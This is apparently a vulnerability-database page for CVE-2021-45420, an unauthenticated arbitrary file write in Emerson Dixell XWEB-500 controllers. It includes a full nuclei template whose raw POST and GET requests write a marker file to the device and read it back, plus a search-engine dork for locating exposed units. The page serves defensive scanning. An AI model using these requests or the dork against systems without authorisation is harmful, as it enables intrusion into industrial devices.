HexBrain

Browse / CVEs / CVE-2021-45420

CVE-2021-45420· emerson / dixell xweb-500· CWE-200

Emerson Dixell XWEB-500 - Arbitrary File Write

criticalseverity
9.8CVSS score
17.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication.

Impact

Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files.

Fix

Apply firmware updates provided by Emerson Dixell or restrict network access to the device.

How to confirm it

Send: POST /cgi-bin/logo_extra_upload.cgi ; GET /logo/{{randstr}}.txt
Positive when: contains(body_2, "dixell-xweb500-filewrite") AND status 200

Run it with nuclei: nuclei -id CVE-2021-45420 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-45420

info:
  name: Emerson Dixell XWEB-500 - Arbitrary File Write
  author: hackerarpan
  severity: critical
  description: |
    Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files.
  remediation: |
    Apply firmware updates provided by Emerson Dixell or restrict network access to the device.
  reference:
    - https://www.exploit-db.com/exploits/50639
    - https://www.swascan.com/emerson
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45420
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45420
    cwe-id: CWE-200
    epss-score: 0.1755
    epss-percentile: 0.97162
    cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: emerson
    product: dixell_xweb-500
    google-query: inurl:"xweb500.cgi"
  tags: cve,cve2021,lfw,iot,dixell,xweb500,edb,fileupload,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{randstr}}.txt
        dixell-xweb500-filewrite
      - |
        GET /logo/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "dixell-xweb500-filewrite")'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from